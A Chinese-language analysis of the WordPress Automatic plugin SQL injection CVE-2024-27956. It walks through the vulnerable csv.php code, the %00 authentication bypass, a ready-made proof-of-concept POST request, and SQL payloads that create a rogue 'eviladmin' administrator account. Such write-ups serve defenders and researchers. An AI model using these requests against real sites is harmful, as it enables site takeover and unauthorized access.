WordPress Automatic插件存在未授权SQL注入漏洞-CVE-2024-27956分析
漏洞概述
WordPress Automatic插件存在未授权SQL注入漏洞,远程攻击者可以利用它获得对网站的未经授权访问,创建管理员级别的用户帐户,上传恶意文件,并可能完全控制受影响的网站。
漏洞触发环境
-
基于Wordpress搭建的网站
-
WordPress Automatic插件版本<3.92.1
漏洞成因
在inc/csv.php文件中存在该漏洞
<?php
require_once('../../../../wp-load.php');
global $wpdb;
global $current_user;
wp_get_current_user();
// echo user_login . "'s email address is: " . $current_user->user_pass;
//get admin pass for integrity check
// extract query
$q = stripslashes($_POST['q']);
$auth = stripslashes($_POST['auth']);
$integ=stripslashes($_POST['integ']);
if(wp_automatic_trim($auth == '')){
echo 'login required';
exit;
}
if(wp_automatic_trim($auth) != wp_automatic_trim($current_user->user_pass)){
echo 'invalid login';
exit;
}
if(md5(wp_automatic_trim($q.$current_user->user_pass)) != $integ ){
echo 'Tampered query';
exit;
}
$rows=$wpdb->get_results( $q);
$date=date("F j, Y, g:i a s");
$fname=md5($date);
header("Content-type: application/csv");
header("Content-Disposition: attachment; filename=$fname.csv");
header("Pragma: no-cache");
header("Expires: 0");
echo "DATE,ACTION,DATA,KEYWORD \n";
foreach($rows as $row){
$action=$row->action;
if (stristr($action , 'New Comment Posted on :')){
$action = 'Posted Comment';
}elseif(stristr($action , 'approved')){
$action = 'Approved Comment';
}
//format date
$date=date('Y-n-j H:i:s',strtotime ($row->date));
$data=$row->data;
$keyword='';
//filter the data strip keyword
if(stristr($data,';')){
$datas=explode(';',$row->data);
$data=$datas[0];
$keyword=$datas[1];
}
echo "$date,$action,$data,$keyword \n";
}
// echo "record1,$q,record3\n";
?>
我们可以看到, 变量q&变量auth&变量integ都是可控变量,并且变量auth使用了wp_automatic_trim()函数进行检查
// extract query
$q = stripslashes($_POST['q']);
$auth = stripslashes($_POST['auth']);
$integ=stripslashes($_POST['integ']);
if(wp_automatic_trim($auth == '')){
echo 'login required';
exit;
}
if(wp_automatic_trim($auth) != wp_automatic_trim($current_user->user_pass)){
echo 'invalid login';
exit;
}
if(md5(wp_automatic_trim($q.$current_user->user_pass)) != $integ ){
echo 'Tampered query';
exit;
}
跟进wp_automatic_trim()函数查看函数执行操作,发现如果传入的字符串是空的,就会返回空
//wp-automatic.php
function wp_automatic_trim($str)
{
if (is_null($str)) {
return '';
} else {
return trim($str);
}
}
第一个检测逻辑判断变量auth,如果变量auth为空就输出login required,第二个检测判断变量auth是否等于用户密码,如果不等于就会输出invalid login,第三个逻辑判断变量integ的值如果不等于$q的md5值就会输出Tampered query
if(wp_automatic_trim($auth == '')){
echo 'login required';
exit;
}
if(wp_automatic_trim($auth) != wp_automatic_trim($current_user->user_pass)){
echo 'invalid login';
exit;
}
if(md5(wp_automatic_trim($q.$current_user->user_pass)) != $integ ){
echo 'Tampered query';
exit;
}
所以我们绕过上面三个逻辑判断就可以通过变量q执行构造的sql语句,给变量auth一个%00就可以绕过第一个和第二个逻辑判断,我们只需要提供 SQL 查询的 MD5 值,因为变量integ是$current_user->user_pass一个空字符串。
$rows=$wpdb->get_results( $q);
$date=date("F j, Y, g:i a s");
$fname=md5($date);
header("Content-type: application/csv");
header("Content-Disposition: attachment; filename=$fname.csv");
header("Pragma: no-cache");
header("Expires: 0");
echo "DATE,ACTION,DATA,KEYWORD \n";
foreach($rows as $row){
$action=$row->action;
if (stristr($action , 'New Comment Posted on :')){
$action = 'Posted Comment';
}elseif(stristr($action , 'approved')){
$action = 'Approved Comment';
}
//format date
$date=date('Y-n-j H:i:s',strtotime ($row->date));
$data=$row->data;
$keyword='';
//filter the data strip keyword
if(stristr($data,';')){
$datas=explode(';',$row->data);
$data=$datas[0];
$keyword=$datas[1];
}
echo "$date,$action,$data,$keyword \n";
}
// echo "record1,$q,record3\n";
?>
所以我们构造POC验证是否成功利用
POST /wp-content/plugins/wp-automatic/inc/csv.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
q=SELECT+IF(1=1,sleep(3),sleep(0))&auth=%00&integ=111626f5f910d38cf6de27181780707e
漏洞的可用性分析
-
该漏洞可用于Wordpress搭建的网站,并且Wordpress网站使用了WordPress Automatic插件并且版本低于3.92.1
-
可以通过SQL注入有效负载来创建用户
-
q=INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_status, display_name) VALUES ('eviladmin', '$P$BASbMqW0nlZRux/2IhCw7AdvoNI4VT0', 'eviladmin', 'eviladmin@gmail.com', 'http://127.0.0.1:8000', '2024-04-30 16:26:43', 0, 'eviladmin')
-
-
授予用户管理员权限
-
q=INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES ((SELECT ID FROM wp_users WHERE user_login = 'eviladmin'), 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}
-
-
导致远程代码执行
漏洞复现
0 条评论
可输入 255 字